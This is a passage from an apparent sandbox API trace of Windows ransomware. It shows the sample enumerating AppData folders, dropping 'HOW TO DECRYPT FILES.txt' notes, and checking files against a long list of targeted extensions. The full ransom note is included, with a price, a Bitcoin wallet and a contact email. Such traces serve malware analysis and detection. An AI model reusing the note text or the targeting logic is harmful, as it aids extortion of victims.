HALPmcxz\\AppData\\Roaming\\Microsoft\\", lpString2="Templates" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates" [0088.238] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates") returned 65 [0088.238] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31d42f10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2795d470, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x2795d470, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x79004d, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0088.240] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.240] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31d42f10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2795d470, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x2795d470, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.240] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.240] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.240] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5db2c650, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x5db2c650, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x5db78910, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x509b, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Normal.dotm", cAlternateFileName="NORMAL~1.DOT")) returned 1 [0088.240] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0088.240] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Normal.dotm") returned -1 [0088.240] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Normal.dotm") returned -1 [0088.240] lstrcmpiA (lpString1="", lpString2="Normal.dotm") returned -1 [0088.240] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\*.*") returned="*.*" [0088.240] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\" [0088.240] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\") returned="" [0088.240] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\HOW TO DECRYPT FILES.txt" [0088.241] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\templates\\how to decrypt files.txt")) returned 0xffffffff [0088.241] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\templates\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0088.242] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0088.242] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0088.244] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0088.244] CloseHandle (hObject=0x94) returned 1 [0088.244] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Normal.dotm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm" [0088.244] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.ems") returned 0 [0088.244] lstrlenA (lpString="*.ems") returned 5 [0088.244] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.db") returned 0 [0088.244] lstrlenA (lpString="*.db") returned 4 [0088.244] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.dbf") returned 0 [0088.244] lstrlenA (lpString="*.dbf") returned 5 [0088.244] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.myox") returned 0 [0088.244] lstrlenA (lpString="*.myox") returned 6 [0088.244] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.myo") returned 0 [0088.244] lstrlenA (lpString="*.myo") returned 5 [0088.245] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.qbw") returned 0 [0088.245] lstrlenA (lpString="*.qbw") returned 5 [0088.245] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.qbb") returned 0 [0088.245] lstrlenA (lpString="*.qbb") returned 5 [0088.245] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.qbm") returned 0 [0088.245] lstrlenA (lpString="*.qbm") returned 5 [0088.245] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.qbo") returned 0 [0088.245] lstrlenA (lpString="*.qbo") returned 5 [0088.245] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.qbx") returned 0 [0088.245] lstrlenA (lpString="*.qbx") returned 5 [0088.245] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.qba") returned 0 [0088.245] lstrlenA (lpString="*.qba") returned 5 [0088.245] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.qby") returned 0 [0088.245] lstrlenA (lpString="*.qby") returned 5 [0088.245] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.qbj") returned 0 [0088.245] lstrlenA (lpString="*.qbj") returned 5 [0088.245] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.ofx") returned 0 [0088.245] lstrlenA (lpString="*.ofx") returned 5 [0088.246] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.qif") returned 0 [0088.246] lstrlenA (lpString="*.qif") returned 5 [0088.246] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.mye") returned 0 [0088.246] lstrlenA (lpString="*.mye") returned 5 [0088.246] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.mbox") returned 0 [0088.246] lstrlenA (lpString="*.mbox") returned 6 [0088.246] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.eml") returned 0 [0088.265] lstrlenA (lpString="*.eml") returned 5 [0088.265] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.pst") returned 0 [0088.265] lstrlenA (lpString="*.pst") returned 5 [0088.265] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.ost") returned 0 [0088.265] lstrlenA (lpString="*.ost") returned 5 [0088.265] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.idx") returned 0 [0088.265] lstrlenA (lpString="*.idx") returned 5 [0088.265] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.dbx") returned 0 [0088.265] lstrlenA (lpString="*.dbx") returned 5 [0088.265] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.sql") returned 0 [0088.265] lstrlenA (lpString="*.sql") returned 5 [0088.265] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.mdb") returned 0 [0088.265] lstrlenA (lpString="*.mdb") returned 5 [0088.265] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.fdb") returned 0 [0088.265] lstrlenA (lpString="*.fdb") returned 5 [0088.265] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.wab") returned 0 [0088.265] lstrlenA (lpString="*.wab") returned 5 [0088.265] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.dat") returned 0 [0088.266] lstrlenA (lpString="*.dat") returned 5 [0088.266] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.txt") returned 0 [0088.266] lstrlenA (lpString="*.txt") returned 5 [0088.266] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.jpeg") returned 0 [0088.266] lstrlenA (lpString="*.jpeg") returned 6 [0088.266] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.jpg") returned 0 [0088.266] lstrlenA (lpString="*.jpg") returned 5 [0088.266] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.png") returned 0 [0088.266] lstrlenA (lpString="*.png") returned 5 [0088.266] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.php") returned 0 [0088.266] lstrlenA (lpString="*.php") returned 5 [0088.266] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.cs") returned 0 [0088.266] lstrlenA (lpString="*.cs") returned 4 [0088.266] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.cpp") returned 0 [0088.266] lstrlenA (lpString="*.cpp") returned 5 [0088.266] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.rar") returned 0 [0088.266] lstrlenA (lpString="*.rar") returned 5 [0088.266] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.zip") returned 0 [0088.266] lstrlenA (lpString="*.zip") returned 5 [0088.267] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.html") returned 0 [0088.267] lstrlenA (lpString="*.html") returned 6 [0088.267] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.htm") returned 0 [0088.267] lstrlenA (lpString="*.htm") returned 5 [0088.267] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.xlsx") returned 0 [0088.267] lstrlenA (lpString="*.xlsx") returned 6 [0088.267] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.xls") returned 0 [0088.267] lstrlenA (lpString="*.xls") returned 5 [0088.267] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.mp4") returned 0 [0088.267] lstrlenA (lpString="*.mp4") returned 5 [0088.267] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.ppt") returned 0 [0088.267] lstrlenA (lpString="*.ppt") returned 5 [0088.267] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.pptx") returned 0 [0088.267] lstrlenA (lpString="*.pptx") returned 6 [0088.267] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.doc") returned 0 [0088.267] lstrlenA (lpString="*.doc") returned 5 [0088.267] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.dot") returned 0 [0088.267] lstrlenA (lpString="*.dot") returned 5 [0088.267] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.docx") returned 0 [0088.268] lstrlenA (lpString="*.docx") returned 6 [0088.268] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.7z") returned 0 [0088.268] lstrlenA (lpString="*.7z") returned 4 [0088.268] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.tar") returned 0 [0088.268] lstrlenA (lpString="*.tar") returned 5 [0088.268] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.bz2") returned 0 [0088.268] lstrlenA (lpString="*.bz2") returned 5 [0088.268] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.gz") returned 0 [0088.268] lstrlenA (lpString="*.gz") returned 4 [0088.268] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.mkv") returned 0 [0088.268] lstrlenA (lpString="*.mkv") returned 5 [0088.268] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.eml") returned 0 [0088.268] lstrlenA (lpString="*.eml") returned 5 [0088.268] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.msg") returned 0 [0088.268] lstrlenA (lpString="*.msg") returned 5 [0088.268] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.edb") returned 0 [0088.268] lstrlenA (lpString="*.edb") returned 5 [0088.268] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.accdb") returned 0 [0088.268] lstrlenA (lpString="*.accdb") returned 7 [0088.268] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.odb") returned 0 [0088.269] lstrlenA (lpString="*.odb") returned 5 [0088.269] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.java") returned 0 [0088.269] lstrlenA (lpString="*.java") returned 6 [0088.269] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.asm") returned 0 [0088.269] lstrlenA (lpString="*.asm") returned 5 [0088.269] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.pfx") returned 0 [0088.269] lstrlenA (lpString="*.pfx") returned 5 [0088.269] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.pem") returned 0 [0088.269] lstrlenA (lpString="*.pem") returned 5 [0088.269] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.p12") returned 0 [0088.269] lstrlenA (lpString="*.p12") returned 5 [0088.269] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", pszSpec="*.gpg") returned 0 [0088.269] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5db2c650, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x5db2c650, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x5db78910, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x509b, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Normal.dotm", cAlternateFileName="NORMAL~1.DOT")) returned 0 [0088.269] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0088.270] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xbab2410, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbab2410, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xbab2410, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="UProof", cAlternateFileName="")) returned 1 [0088.270] lstrcmpA (lpString1=".", lpString2="UProof") returned -1 [0088.270] lstrcmpA (lpString1="..", lpString2="UProof") returned -1 [0088.270] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\*.*") returned="*.*" [0088.270] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\", lpString2="UProof" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof" [0088.270] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xbab2410, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbab2410, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xbab2410, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0088.273] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.273] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xbab2410, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbab2410, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xbab2410, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.274] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.274] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.274] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbab2410, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbab2410, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xbab2410, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x2, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="CUSTOM.DIC", cAlternateFileName="")) returned 1 [0088.274] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0088.274] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CUSTOM.DIC") returned 1 [0088.274] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CUSTOM.DIC") returned 1 [0088.274] lstrcmpiA (lpString1="", lpString2="CUSTOM.DIC") returned -1 [0088.274] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\*.*") returned="*.*" [0088.274] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\" [0088.274] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\") returned="" [0088.274] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\HOW TO DECRYPT FILES.txt" [0088.274] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\uproof\\how to decrypt files.txt")) returned 0xffffffff [0088.274] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\uproof\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0088.277] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0088.278] CloseHandle (hObject=0x94) returned 1 [0088.278] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\", lpString2="CUSTOM.DIC" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC" [0088.278] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC", pszSpec="*.ems") returned 0 